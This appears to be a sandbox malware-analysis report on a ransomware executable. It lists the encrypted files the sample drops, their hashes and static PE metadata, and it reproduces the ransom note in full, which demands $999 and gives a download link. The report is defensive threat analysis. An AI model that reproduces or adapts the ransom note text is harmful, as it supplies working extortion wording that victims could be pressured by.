MD5:	452C844EE6AFF80CEC69C0BE4F57CFFD
SHA1:	9B31FC5DB29363A29DFDA022AAFDAC38A1E1F07D
SHA-256:	21A7376BE84F2BC76D0D9D1A52E10F3B0D5D5820BCB6A21844FD0EF5A943D603
SHA-512:	20DCA038C510135FC96B0554E8A6332D58B367E374FD64AA9FE1C647659F87754107FA930711100AF7CA6D3491AC622DFB84EC5C64A37F02429BAC6CDD38BE09
Malicious:	false
Preview:	.....n.^.k..6:d..dJ$.<..C...K..h.<S..p...!)r.Be>0.aP.\|.[(..8..\|.8..>.=......CHc.~....:..^o.".....pL(&.._.....Q...{Z.0.....(HO.kh.....N...1...(.-...#k.<.3%.+'..QFQ...\.....+...da..N..i..3.n$..Ac....w..$..'...0)T$...........@F...+]I.h\.P.;.!.........+........%.T$..V..t..iJ=y.......$}p$.&..x...;.i3....K[J... .....-.]x..L.}=e%K...1=..........b..Ao..a.......O.Q.t.....2....cu...8...8(.U.7..w...T..l.4.;.....f..yv8............}VF.V#.D..c.K.jM;W.F....m...s......Rb...AU...<G..Z.....x.....p...,.pX....zX..;%.K!.:,..._h. .4...v 9..<O$..68D..Fn...us..%......#ol..F.\|....Y.......c...!...Mz.f...6......;......I...._..1.9&.x!.T$...H.g.3.R..5.i._.ev..kY.dz u......L{..&<I.pY.!>.....d....W......"...uU;LE...I$.DE./y...SC7.X.a..X@...n q.&z.b..?.5......g.D-4<...I.1...z.dJ.1.(~................O..KG.-v<..i. wld.Q...D.....X.[.+.0.o....a.!C.N.....9c....<t..K.\|.]E..l.J....j..a..6.]b.a ....z`D...9;M.....e....;?%c.....q..u..%...i#[.[q.c.2K......O../...jkp....L.....{.>.#...

C:\Users\jones\Recent\AutomaticDestinations\b8b3a97bfbf120b6.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.929066848916239
Encrypted:	false
SSDEEP:	48:HkJA6gfTMGWrAD0x1Tn4Zly9CJ5UxB58GUiqIgKLTDFsBSPoSXFuED:sA6gf6dPUlyUrUxoi6cFsiPFuQ
MD5:	ECE6A573D17420DEBCF4AC797885E313
SHA1:	9BB454AD80201AB0A65FA1FEC648385D1B3C22A0
SHA-256:	D8AB54A6698D743E56177EC91D9D42531C13BBF4C50F89AAD741CAF0E050A1F4
SHA-512:	801478EDFAD430B8F3D3CFF2753D51839A3838BA586493007692DE6D261B7D8E48072B2A378C8AE347B27A508802AFE61D704F85F5DD35F7BF9EB054A826D57E
Malicious:	false
Preview:	....}.J.Z..%.[\|...+.[W... .=ak~yr.1.b..xh.-......Q..x.....z.g./....P..:..O..l....]..U..(?.h.Lq..../...j.e......C.>.nQ.EI^@...r..p."...0.Bu....Xu..+.jL.N..i...&..Dc.\|..G1.Z.N;.^...4i.R......o.......-...$....59....@...u.Y..:_......5XB....X.!.../>.z.c....`..s.B.x@l.(.C.SN....\|......$..X..@..%'M.x:..O......-.bY..z.1.......XY!4.d.Q2..da?.V#C%...l.,+...O!..Wxyew.4..t...^.C..!.._.K.g.c1..2B..:.....!:q..A.j..&.q!h..(N'...../.w.,0.$._....x.OEf45.l.6....<.9./....+.l.3....#.q].K.b...^.....PQ.-..g...[H...F.S..4...h...j0].W.R...p.S27].+..U.........2.Y#.....>.!N..........Z..F.JD....8:e.P..!."....-.Q....p$.;.D...y2.%.S.J..'./...zd.....u.....`]^.P...9..._..P...... F...p...O5.J0.6....u.3.!H,.@(...w...oQ..Z..X.WZGl.g.......srv.x-..Pn>f[...........L./=I......!...Vs..cs.P6..;>.v....iliU....e..3./3}.EL.Sm....?.E... ...h..l!......>h...:..m.J..!..!..Y .B...@/..F..K.T..`._.....Z.x......7v.q..7.v.<...5=..y...M......EL L...l:;..Nj2....v....C..3.7.r.

C:\Users\jones\Recent\AutomaticDestinations\d00655d2aa12ff6d.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9378979441586575
Encrypted:	false
SSDEEP:	48:BRM8CDPZdvxBcBvixs+JdYzOvUruewm322MijhH+VNgnR9oUoLfNvW69fpsaCwrj:MTZdgiqXBWm3RMWYoR9+vxpnCwrnCyFX
MD5:	499CB3D38F8B0F59F22702626708501F
SHA1:	EE687DBF825DAB994CC134E7A7AF4C03123217EF
SHA-256:	8172DF3EE0D9C37B7A66C55854488A863E58F60DAFB3B0EB66A6FCC9A73421D9
SHA-512:	4A281DC73C1E2C303AC6FBC3E9F4754592F67DD6F79F1397767036C5574D8ACBACCC43044422A781021C3C05FE0D722ED188A798AE8F487FF22CA15B77373D57
Malicious:	false
Preview:	....(.fW....+.Q"...z....F.....g8..`..E...b.z..\|L......j.n.z#.H&N..>.g/[m..L..@.M.....nl.&)I.....z1!......[..e.:?.p]...(;m.\.....S....Y.]6..e...'F..s......f.F{..i.6......!2../...\|..{.O.../P,l..=..0...b.0.O=.M....j$.r.....J.6....L.%a.o...b93'......0...".=..S..B.5....g.}..v(.....i..Ir.~,........@....\|........V.7.q..n....."..r>..Z.P..}h..D.p{.;...:....'.%F.h...<.`.#.3.~......H..f^J...r\..i..6.5\|.^B.V."KyqZ.N,\....\...\|p...5..%.ng.......:\|C.."........w.'i.....3.//...\V.R#.9..=\<3u.A.1`N..]@.r.bs....:.QD=.O.jb,....lX..p..I.E.n...G.{...(..k....Z....r..p.......T.Mv.mT.D.......].h..P.RU..C.J?.{9.........I ..x.6n.d ...<.....7..`z3.u.`M<B.y.......h.....1...(jz/.`...!......q..."C...f.a....Q>..].MY\4.9O..~..]..)Y....m....K%....G.<.Su.K....6...........>r!.@...E..F..eV.2.M....=.E.k.?.........Q.....a.DXG..X...}..\.:\....bu...I;4..S....i..Q.{.....&qf...hV...... ..I...._N..EU2..O.Dp..-....0t..~.N.x#a1.p.(P........8rh...z.o..\..!..$I?...C..

C:\Users\jones\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9550
Entropy (8bit):	7.978939137621537
Encrypted:	false
SSDEEP:	96:RD4FrgS7En3cr3Bepr+W3FunNmDRSShPYy1WXKkqCwHwNI3NkbyEJgJq9jnZimLw:9BYCMrL8XFwXc9yRLdnZDGg0tRtKlQ
MD5:	3EA34F0A4A5ABE647B5C54726C27DE1B
SHA1:	94FD7274903AE469220E316D68AA09B3ED0A2640
SHA-256:	0B9E6FB3BF932AEC56DD37708B02BCBD074C4B549754716A5A72BB585E1526E5
SHA-512:	D03406A342A27BE61CCD0E2A88FEFBB2F55FF346D41AAE3283488ACC894FE0D86C1D0D5328B100A4F3799A69945728F4B95B565BB4243F9AE34A2812AF4F8628
Malicious:	false
Preview:	.........$u..\|.>...ni...b.g7R...._.......^..?_...E..r.-...{..#........../.x.:..x]&..D..C..v...~.[T...8W?.?.N..R.W...W...4.I.2x.=7.F,.3;$.$...g.......] .....-5~..L&....mAx..R;R..(5...s0.0.w..X..b..y....9.k..i.]S......Nf_/..mU.Si.U...0...:...cNA.J..B.6..W.WoDO<~-Mq..F\vf...'.".O...w.._:.]...rA....=u.f....s.-.T....X..g.DJ.o.,?...k^I\.;.}.6...Ay.F`.....{..#x...)..t..W...^y... .......h1....l.5......5..<...c......dZ.e,.6..@)......^.X....>...w..&.@..U.....-:.b.....uv.\|E.I..Fx..p.....XST.M..~...cL(....w/.O$.E...3.nL.8i...F......y..R3....)C\|.']..SH."..]Z....E....c..Y...."R..{..o%.W.v.l.v."......}.R...7.......M]..{\.........}.p....26...........6..4v..e.g...#/..rJ..?..qz.d ....I....(. cz.;3.6A.7Wy/9-z.d\|..+.~..b.."...m*.`?..YY.>...{x...V.Q.gW...6.U...:V....".T......s.x.'...6/...9".erh0Z.RU.h.B...A7..Zcz5.{..x8..._>.........O.h.rA..:k?..C;..I-.eh..,z.......,.qu;..o.( .+.\..^...i.D{.9F..A.+z......j.'.................<..'Goo

C:\Users\jones\Recent\AutomaticDestinations\f18460fded109990.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.93136325016813
Encrypted:	false
SSDEEP:	48:av370/MGC9EyzQxGK/jTZW1MaqwcsoblxYl8Abs+u3WfToTc/JP9r5TzfDW00lp2:4m0EycxGejVZnjYmiTLowJ1FTWoUOIpk
MD5:	BD2977BD45F29DF2244705DE4F2750BE
SHA1:	0AA84118F54B88F875C40D30481B18BD2B546855
SHA-256:	1A8BBDF48E3FB3F68A3F654C43904B3594CEC4ADA1CB87EC57A9F0A15AB10444
SHA-512:	4E094D422303E1173B924AE61B8913D5D45D091898B2D22B96AED5005805745333BCC740088F99CD6D09F6728C13CAB7E660645721C4CCC8F5EF2E2C2EA7448C
Malicious:	false
Preview:	.........K..u....s..3..X8.^a4]....f.M..Z.c.pHQ467. .....V../..k..;P.,%.u...i'.<............\|y.>Vt.&$n.h.Ww...]........./A.A.<._....2..Y......j5OA.bb....;f..&.?....M..m...W...`..e........+l8.N0....Z...H..#...k..K.....F......Fi..D{.2.....~U7.}3...%...;d....^>..R.[...e.{.[8....\|..^V.B^{...>..-i..x.N.<..)}.....:...7:...I...Ljw.h.1<wM..M....M..`j.'....T;...6We....f.Va1....\|.Qv2,...o..8.t.H`3.4.m.33..=.E.wjo.G6...~g^.R......\....l.....y......5_\. .8u...s.O.-7....QE...0..J.,ES.!bRc..x.9.X....l&..[X3........J0...'..[ ._Xsp..m.....l.bb.@;..5.~..J.K.^..UqXB..V/.K..hVi6.'..H%........al..Y....... .,n..t.C.tI...S....{.....*..TK../.o.-w.n.W..$9..A.G...s.........hvd...x.....[y\.t.j..tY.pD.K.g8...v.]]0up.F...H..R..E...\q.. LH`Xss...aa ..3q..b.t;...'....`"......7.}...S(.%.O[..5i..:.Y.%.\|.[ .....w(......0"?..>,C ....@&...q....mxT.Z...S.d.P}M].ieHJ;i4....a....Z...k....Shbfn.fq..v....4S@.D.p.....L...)q..D.v..<J..Xv.3\|...\|.m..~.c"........\|.GSB..v..g.b.wa.\...

C:\Users\jones\Recent\AutomaticDestinations\fb3b0dbfee58fac8.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.936026996223091
Encrypted:	false
SSDEEP:	48:PQE18Odi72rzwsBumLNZt1BsSjtLgZ+4NYaPUKpeNMJAt2jEIRDbTu3BPmXFuED:4E18NTsNt1BLBcZPPUKSMC8jEIRD3u3W
MD5:	60457A06D89F0014272B87DA3CFE96B8
SHA1:	F424A51DBD8817BEFB8C5549A0711A637EC027D7
SHA-256:	288A3E65A919D9B757C008983DE8FC0103F02BFE2CFCD7142F9DBF6843B001C0
SHA-512:	4195880499FAC4EFB8F0B49FC9E1ECBD0444CA5B8A60B66A55D850E7980FE0DFD2F85E723BA72F813490375A195234B9187B87ACDD151A0485F4D55A3333BF2D
Malicious:	false
Preview:	....q.K....;.~..3......aaJ....t..+Z<...wRa~aUH......c.N.k...Zo....N../.z..=..KeA,.:A.......Xr.W:B....XIM_..'q.g....S..[I._..).p..Aw.^..\Y ..!{.Z....S...[Cz.....k_...h.Ih..\[U...b...H.5^&."..e..3.^./M... .@..wP...:....iy#..LQ..w.".Q"...U\|.".G[{.........9..}.&...B....M}.$.\|".~`.n..9..\|.<.ebq.i.B...u..;[O4..A.....Y..i.v...7...5...TW.pn!gT.u.N..:...@...H.......sI.p......h..^pA}kq./ ..$f&M...s....s.....Oa,t0.I...2L..Y.Ib.\.5./....X...M...>......~f.:.........'......C.<....XU3]....F.....-..#......e..0.8F.&..Z....j.6...2D.C....h=9.{..../.&J[..x.....k...#~...[E...:..&..n....:. ,.....,.EqE#....].......XeD;x.....{.....`.x(...N..G......DO.....\|K.....3G.9..})h...U.B..N.....$..........=....f..6...(.u................5.1Z]..aX..*...pv.an.f..Z..w_.@m.Pl.MZ.6...M..Ez..6....f.B.uO]D....qd...cL.Tp. ...@@._0.....k.~..x......!... N....BW7e..K..2......<....T.y.=24K....iSc(9....g. ...-.A.l.w....g.V.z.]MN.....eA.g......q.O"%<e./aQ........O...O

C:\Users\jones\Recent\CustomDestinations\7e4dca80246863e3.customDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.238633813860497
Encrypted:	false
SSDEEP:	6:8xUUbbqCt8imvgOnnWpgRVKZsYmNXbD5HPzPaWyhe7UItXqHk7T3eWcii96Z:8xUUynYuWusjm7LeEXqOTuWcii9a
MD5:	412F319423EFDA50D73FBC2D473B1B53
SHA1:	63BE2BD07CF6B3231D8933544D44ADEB3862FE1E
SHA-256:	40D78D1881879C9E02E9E8E631D20D9D6718371210F8A96E13F58F6D0FBBD7FB
SHA-512:	9AFFF4296A931131AE3CA53A33A8647D628A192DEE9208AE62BB44124C0C52FA0C9A35CD5F63BB9EA9EDA634E8B552CA8F8055BDEBD6D8228DBEBB010A570D5F
Malicious:	false
Preview:	.......c.z.......\|.nm...[A.a)q..5.T).3g.VU,...( .0..U}....6..B.4q.AB.........`..{w.d..wUV.....`...)..BR....%..=..6..\|P..N......w.!.......Q.!..!........M_....H......&h.?.....}...a.?..g..A.....j...}'....:....@.Y.,...Q3.KY7T.a...u....?.\....7.U...K.._...Z]h..hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Recent\CustomDestinations\f01b4d95cf55d32a.customDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.243182869579136
Encrypted:	false
SSDEEP:	6:hVCS8vTEzhDLKCWuZhYKYGM8umcFFA9Sx5GsgdEQf5OUqeRxX1ItXqHk7T3eWciD:hQjOLKaZOJFmS3Gvd6zwFKXqOTuWciik
MD5:	4AE04673451D19CE9C8686B83EC9AB7B
SHA1:	74A5A3A97AFE2A4E62C605D54D49F726F2EE362B
SHA-256:	D3FCBAB10D619381ECB503E9F8377F9316CA6AF264E696990029C8FAC13F8FEF
SHA-512:	9BCC2D57DFF01226B7240DAAD268B94AAE7E8A4BC1ABC3927BDF662E9B7D5FBE902E52FE9152770A9D07E938A2AFFF8936B33F5A60216B09FF767A54C4CDD72C
Malicious:	false
Preview:	.....J.N&.10.;.o.J....!4....Cz..".5:.#...&........<..$=..W...u.........K..S.1..\|..i......rq... 4..$}&7f..gDp.t..c.#....J......;.3f.[........\|y..>.....C.`\|............+..q.~...w.G;..a...c.....1.......u.1.8.8..a.B'g..#.Mq.....)..Uya5..bO..."L.....ns@f.....1..hMb.5.c.R.w.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Recent\CustomDestinations\f18460fded109990.customDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2909048851515506
Encrypted:	false
SSDEEP:	6:nBKh8gRVhPq7sChPMRxXXK93ig/LC4zvafmd5Do4ERS1QZtXqHk7T3eWcii96Z:ncZRVhPW0RM9iGKfmLo4E01QvXqOTuWX
MD5:	65DED68E4BCD89863A6B7FD317EA5410
SHA1:	CF3270CEE9C4CF7D7FD008F486AA8E479215DAEF
SHA-256:	DFA353F0AD3B12C55329206EB729142D27C5B850BD7F0335FAED4CDC931A1ECE
SHA-512:	2A91805ADE0C72980C88AB24A0F8CB73BBACD48FEFD4B58F0491AB121D9B8C7005F6E315A6707161C1EFF578DF8E2072F92FE7B4036E9508C406608EC1FBCB66
Malicious:	false
Preview:	.......4Y.......".]..P{....!.3...a..8....G.[.p....._....<O.I.........+.h.RM.i.[D.....<u..\|.......U..br6.eo...?.w.".67..&.(..@.=.......'..c...K.......yj4.g.2......8.Z..i..Er..k..F..xZ...GH.....{v@..[n;..KY..h...9.]....$3.=.......vF.."o.G;...7.....S5.G....:k...-Hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.830522901799
Encrypted:	false
SSDEEP:	24:l7VaO5OCM00l1YmTLZqB0NEpVVnM1s3Rs6gqtMGaEQ1OpEOf0Z+tWKMwXq8uWbD:l7VTYCX04SNEpRh7gSMG3PEOcZ+tWtw5
MD5:	44580D81CA12D74353F683FC1CC3700D
SHA1:	E61689F39DD7EAA795989333308BD351B827EA8F
SHA-256:	F1E1816D105AA6C52768775C896D0C25BF88AFE066E26AE1CDB4F2C61CABFF75
SHA-512:	8DBB9D527ABAAC503145027CB8B1DBE47641D2E9D8E96A8D856741DD477728D991CC85B78D193CDD11508519A2FB2892107D65548BACBD83D8BA50FF96D313F0
Malicious:	false
Preview:	<?xml.Z........^.`...N.......9.........K...=.Ty.n_a....G0...%t.x.a..%....{4.........#?...p.......dR(...9..=.q...(..N.w5.~4....f...6&..'...1.n!...b.@...$.=.....I..lF....t...x.......F....{...........5.".l9.@. ..y.qd.i..h..MZ...^..~...&.U.{.........QB..5p$o......s..)...0...W...pcC..Z...}..$...b...2.F.::.p.2($........U.<...7#.........rH.bH.....-.+'.. ..+G.$..F..$S..eG....N.?....X;.r...#V...}.y?a.v.?.}..:T#o`.......rq.o.?.....v>7f._..u....i.s~3V.:._.@t....4...b.=/E.@.....=..x..(.X......\|.a...$uL..B4...2..........8,dJ..fc.]8.}".M.....}.i....^....;l+nt....{.#Q..=.Q......\|.g..IJFd..{..PQ.;.....Z...^.qj..l....S...w.......f.U.Qw...x.,.U}...le....a.B.&...+...d}...sq.......li..v.D........>`a<x.d.\|.-l]........8.e.Q{$.]Y\|..#uL.\..X../c.......1..=....D[.d...<..t4.....O.a..G.J?.Z"..&......Z..^.).p..n.T.o.-.....+j..%.>......A...,v.....\..J...\K`...."#.>.../."qF....}.,..P]..Z.Y\(...."I.......{.9..{ ....KG..=/\.8..Y...0.....*W....A[1g.1.D_.Paa.....f.E.,.

C:\Users\jones\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.830522901799
Encrypted:	false
SSDEEP:	24:l7VaO5OCM00l1YmTLZqB0NEpVVnM1s3Rs6gqtMGaEQ1OpEOf0Z+tWKMwXq8uWbD:l7VTYCX04SNEpRh7gSMG3PEOcZ+tWtw5
MD5:	44580D81CA12D74353F683FC1CC3700D
SHA1:	E61689F39DD7EAA795989333308BD351B827EA8F
SHA-256:	F1E1816D105AA6C52768775C896D0C25BF88AFE066E26AE1CDB4F2C61CABFF75
SHA-512:	8DBB9D527ABAAC503145027CB8B1DBE47641D2E9D8E96A8D856741DD477728D991CC85B78D193CDD11508519A2FB2892107D65548BACBD83D8BA50FF96D313F0
Malicious:	false
Preview:	<?xml.Z........^.`...N.......9.........K...=.Ty.n_a....G0...%t.x.a..%....{4.........#?...p.......dR(...9..=.q...(..N.w5.~4....f...6&..'...1.n!...b.@...$.=.....I..lF....t...x.......F....{...........5.".l9.@. ..y.qd.i..h..MZ...^..~...&.U.{.........QB..5p$o......s..)...0...W...pcC..Z...}..$...b...2.F.::.p.2($........U.<...7#.........rH.bH.....-.+'.. ..+G.$..F..$S..eG....N.?....X;.r...#V...}.y?a.v.?.}..:T#o`.......rq.o.?.....v>7f._..u....i.s~3V.:._.@t....4...b.=/E.@.....=..x..(.X......\|.a...$uL..B4...2..........8,dJ..fc.]8.}".M.....}.i....^....;l+nt....{.#Q..=.Q......\|.g..IJFd..{..PQ.;.....Z...^.qj..l....S...w.......f.U.Qw...x.,.U}...le....a.B.&...+...d}...sq.......li..v.D........>`a<x.d.\|.-l]........8.e.Q{$.]Y\|..#uL.\..X../c.......1..=....D[.d...<..t4.....O.a..G.J?.Z"..&......Z..^.).p..n.T.o.-.....+j..%.>......A...,v.....\..J...\K`...."#.>.../."qF....}.,..P]..Z.Y\(...."I.......{.9..{ ....KG..=/\.8..Y...0.....*W....A[1g.1.D_.Paa.....f.E.,.

C:\Users\jones\SendTo\Bluetooth File Transfer.LNK.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.85101747449334
Encrypted:	false
SSDEEP:	24:om/naw6Xmu7JqbN7k+NEs7LD1YV4tWz8vNRE6B6a7u3ZZV+UjiupVNWlWVIMauJK:om/rYCqsYStWz76BZ2X+kiupVN1VJYXp
MD5:	5110FFD65E0011FF037E9E8B77D404BB
SHA1:	69124C7ED6DC1895E1EF66E7D0004015E071A126
SHA-256:	621CA9158CDFCFCAB977356F2B22F2D94A21CBD28EB525992B1C72C573503F49
SHA-512:	4BEC2D21C4B2651610F08779C79308FBC6CF237C36D257CC4CA3ACC78B51E2E37DE35F07D15B3A2DF871F472054CDA8C4236D8E6F941C04A512995F1610A2021
Malicious:	false
Preview:	L....i$.....O...~.0.}v_...\M.h3..M..y..S.R......RZ).Yb9...c..(+`.\O.p8.1..s....C..sQ.qU..E.EE.........&.xv..h..(..N4....'O.....S.:..r\7N..?\|.;.....'.^..^.G.....-.J.nZ...i b.Us.._.."..A.-]..5r?..........%...Oi.^..../\L.1.6)..% ....A....@.0...r.R....9.W.I(dz%.g~.D%U?....Ed.J6..8.`......Yd..t..Z......B.8...yin.\..#..u...f...R/+6?R(.t[...4......D/.@(QhW>.:[V(,....4.f.m.U.,..&.X4...zb.gm..W.A....K.o..[I.P@....x..P.f!....(.u%.e.....(#.x.P.3/o..`....`./.Z..3.P..4...Ia.#Yf..].#.D.\.Yj.........{..BZ.y.]".....d].r"..[8.Z.xt. X...40.."a8...Mi...-`7o..CT..O.XL^ eb..."L.<..=_]z5....-...KJ.r2`...xa"...e..H...r..6?.r..P3.;..LB.......z...4l.%...NK]%!...]..V.....T?^..we..a"X._a..._.XO+...+.$..........9.a..N...>..S.....4,.;Z...f....8...0D.OK....V.k..7S.I.....c...O.u.Y..!...2..w....p.,..o...$.d>Y.&. i.....1..:U...n.........@......z.Ex...h..F..&Qj.`..Q...="./.......a@-...B...1.........1%P.R....eG&..dO(.....0D...".ugr83....N[.N.z.m..e..o...LId/../F.

C:\Users\jones\SendTo\Desktop (create shortcut).DeskLink.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.20968058934173
Encrypted:	false
SSDEEP:	6:aVBdeQjI/BxGKe0RYbv/Agvbzx1WqVKFxpGtiy+YYqItXqHk7T3eWcii96Z:a78QkVe/bvX/x2F/GtiyRHKXqOTuWciD
MD5:	23B3ABB0DD4344A88E2AF787A6D3CD87
SHA1:	2623C610ABB72FBFA0BC024DF2F25ADB94B2CDC7
SHA-256:	BDEE9B91A5B5B4D9283687132821E1581906AE473EF01770A87DBE908855D69F
SHA-512:	89B304D737E32F4353161FFED36EE1BC1339C0911C56BF0C96813BB9B38DB60E89946A6D82C13502AA8DC32723C07817019D5A28AE3D5E8A047261126BF53D98
Malicious:	false
Preview:	deskt.F...h.y..#hT.....s....W.W.X......r.f..Z...oo....^O...w.....^.%.z....8P..e....w.-h.....=.x..cw.J{..:..>].s........Yt53.Mb.U4..Tp...z..+..n!M...v4.8....J..a....T.I.N'..5..^;....~.......`.'z...PL.U..#5...c.}.uCfY......I.D...B*\6......{...Y.;.v..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\_README.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.70051788074929
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	R5391762lf.exe
File size:	781'824 bytes
MD5:	4f8fb134c680d0e05861a34827751834
SHA1:	5a20d1ff30218dea67d3ff7f61e16e5cc958006f
SHA256:	9c9ed624eaf441b4637d50fe25d386636c5cb59fb69f5b824afc7cec6dfff7f0
SHA512:	ba90af804408ffde34cb5b7d8d4a4b30ea99f66844ee3d272368086a3bae472347c76440fe93196a457e4fbc10a67b6312a998fd8d30a06001c4b635838fee35
SSDEEP:	12288:S13ahbKvq4YIvjnARDUsrD4Shv9QSrwZ/BpOtI7wWsvvaGDXRorYm+0FPSoyWHJk:NJ49sHv9zsZ/B0tWFoXRorg0BSFWHJPc
TLSH:	0AF402017EE2C8B4E3A3C2715D148612D53EFC7E1B118A7B735C625E0E705E09ADD7AA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}.&%..&%..&%..+w..8%..+w..Y%..+w...%../]..!%..&%..K%......'%..+w..'%......'%..Rich&%..................PE..L...W.&d...........

File Icon


Icon Hash:	45294d454545610d

Static PE Info

General

Entrypoint:	0x40433f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64269957 [Fri Mar 31 08:27:03 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	da85065239035ee146657c2492fb98d0

Entrypoint Preview

Instruction
call 00007F6A00EA6C3Ch
jmp 00007F6A00EA1185h
push 00000014h
push 004199F8h
call 00007F6A00EA35F0h
call 00007F6A00EA6E0Dh
movzx esi, ax
push 00000002h
call 00007F6A00EA6BCFh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F6A00EA1186h
xor ebx, ebx
jmp 00007F6A00EA11B5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
